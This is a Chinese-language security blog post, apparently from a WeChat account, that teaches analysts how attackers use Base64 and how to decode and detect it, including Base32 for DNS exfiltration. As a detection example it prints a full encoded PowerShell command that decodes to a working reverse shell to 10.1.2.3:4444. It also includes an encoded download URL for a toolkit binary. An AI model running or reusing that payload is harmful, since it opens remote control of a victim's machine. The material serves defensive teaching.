亲爱的网安朋友们,你们好,我是v浪。
今天跟大家聊聊一个有意思的话题 - Base64编码。
还记得小时候和小伙伴们玩的"反话"游戏吗?说话的时候把每个字倒过来说,这样大人就听不懂我们在说什么了。其实黑客们也有类似的"小把戏",比如使用Base64编码来隐藏一些明文信息。作为安全分析师,我们必须掌握这种"黑客暗语",才能及时发现潜在的威胁。作为红队成员,学习Base64以隐藏攻击载荷并绕过安全检测;作为蓝队成员,理解Base64以识别和防御潜在的编码攻击;作为运维人员:,掌握Base64以解读日志和配置中的编码数据;作为开发人员,了解Base64以安全实现相关功能并防止潜在漏洞。
那么,什么是Base64编码呢?
Base64是一种将二进制数据转换成64个可打印ASCII字符的编码方案。需要注意的是,Base64不是加密,而是编码,所以解码是很容易的。你可以在网上轻松找到免费的Base64编解码工具。
举个例子,11个字符的"Hello World"经过Base64编码后会变成16个字符:"SGVsbG8gV29ybGQ="。
Base64编码使用的字符集包括大小写字母、数字、"/"和"+"。编码后的字符串末尾可能会有0-2个等号。
为什么要使用Base64编码呢?
最初的目的是为了解决一些只能传输文本数据的协议的局限性。比如早期的电子邮件协议就只能传输文本,无法直接传输二进制文件如图片。通过Base64编码,就可以将二进制文件转换成文本形式进行传输了。
另一个常见的合法用途是在HTML页面中嵌入原始二进制数据(如图片)。HTML本质上是文本协议,如果想在页面中直接包含图片而不是通过超链接,Base64就派上用场了。
那么,黑客们为什么要使用Base64呢?
Base64常被用来隐藏攻击早期阶段的一些明文元素。为什么是早期阶段?因为此时攻击面还比较窄,无法使用真正的加密。
使用真正的加密需要工具和密钥交换,黑客无法保证目标主机上有必要的解密工具。而Base64编码工具就普遍得多了。
即使我们假设工具不是问题,将对称密钥和加密载荷一起传输也失去了意义;非对称密钥又需要基础设施和进一步暴露。当黑客使用加密时,通常是在攻击后期,而且会借助第三方基础设施。
让我们来看一个简单的编码示例。将两个字母"IN"编码成Base64就变成了"SU4="。
这里有一个重要的点需要注意:ASCII字符和Base64编码之间并没有直接的一一对应关系。比如字母"A"在Base64中可能有三种不同的表示,取决于它在原始字符串中的位置。很多Base64检测规则的问题就出在这里。
举个例子: "Secret string" 编码后是 "U2VjcmV0IHN0cmluZw==" "ASecret string" 编码后是 "QVNlY3JldCBTdHJpbmc=" "AASecret string" 编码后是 "QUFTZWNyZXQgU3RyaW5n"
可以看到,即使只是在开头增加了字符,编码后的结果也完全不同了。所以检测"Secret string"的Base64版本时,必须考虑它可能有多种表示。
Base64分析技巧和常见误区
在分析可疑的Base64字符串时,要记住它可能只是一个片段。可能需要在开头添加填充并调整末尾的填充才能解码出原文。让我们用CyberChef工具来看一个例子。
假设我们的可疑字符串是: ldCBodHRwOi8vMTAuMS4yLjMvdG9vbGtpdHMvbm90aGluZ190b19zZWVfaGVyZS5iaW4=
第一步:调整末尾填充 将字符串放入CyberChef并选择"From Base64"解码,会提示错误。这时需要调整末尾的"="号数量(0-2个),直到错误消失。在这个例子中,删除"="就可以解码了。
第二步:如果没有明显的明文,在开头添加字符 如果输出看起来像二进制数据但你怀疑是文本,别放弃。在开头添加一些字符,看看是不是因为数据被截断导致的位对齐问题。你可以使用任何有效的Base64字符,但建议使用"/"因为它比较显眼。在我们的测试字符串中,添加三个填充字符就能显示出明文了。
Base64会在哪里出现?
作为安全分析师,你会在各种地方遇到Base64编码的字符串。
最常见的是在检查邮件附件和网页中嵌入的内容(主要是图片)时。其他地方出现Base64则应该引起警惕,比如在命令行中检测到Base64字符串。
下面是一个使用powershell命令隐藏反向shell的例子:
powershell.exe -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAuADIALgAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
这利用了powershell的"-e / -EncodedCommand"特性,允许传入Base64字符串。Powershell会解码Base64,然后执行里面的脚本。
仅仅是在命令行中出现Base64反射的行为就很可疑了。如果你在监控Windows进程创建,遇到这种情况就应该仔细检查。
另一个常见的Base64暴露点是HTTP Basic认证。虽然现在可能不像以前那么常见了,但我敢说每个安全分析师都见过至少一次这样的警报。下面是一个使用HTTP Basic认证的HTTP头部例子:
Authorization: Basic am9ldXNlcjp2ZXJ5JGVjdXJl
这里的问题现在很明显了。这是一个明文密码。HTTP Basic认证遵循"username:password"的Base64编码格式。这个例子解码后是"joeuser:very$ecure"。
其他编码方案
说到这里,作为安全分析师,你可能意识到了Base64的一个邪恶应用:通过DNS进行数据泄露!但这里有几个问题。首先,Base64的字符集包含DNS字符串中不允许的字符(+, /, =)。其次,DNS是不区分大小写的。黑客无法保证他们Base64编码的子域名在传输过程中不会被"小写化"。
但是...还有Base32! Base32和Base64很相似,只是在我们无法使用大小写来编码信息时使用。Base32的膨胀率比Base64更高,所以使用Base32编码大量数据进行泄露肯定会产生很明显的网络事件。
别忘了,Base16(十六进制)和Base2(二进制)也是有效的编码方案,而且早期就有可用的工具。安全分析师在日常工作中到处都能看到这些,但很少作为像Base64这样需要分析的对手技术。
Base64还有一些变体使用不同的字母表。比如有一个"文件名安全"的变体,用"-"替代了"/"。所以即使你看到一个像Base64字符串但包含"-"的东西,也不要太快否定它。前面演示的CyberChef工具可以配置这些替代字母表。
总结
我们从安全分析师的角度探讨了Base64编码。Base64编码传统上用于将二进制数据转换为可打印的文本字符,但它也可以用来隐藏明文。安全分析师在进行调查时应该牢记这些常见技巧,因为仅仅将明文编码为Base64就足以让最好的检测引擎也错过(我们的眼睛)。
一旦理解了Base64,就可以识别检测中的缺陷,并改进签名/逻辑以反映所有可能的排列。
希望这篇文章对大家有所帮助。安全路上,我们一起进步!
原文始发于微信公众号(HW安全之路):隐藏在编码中的秘密:Base64与网络安全攻防揭秘
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论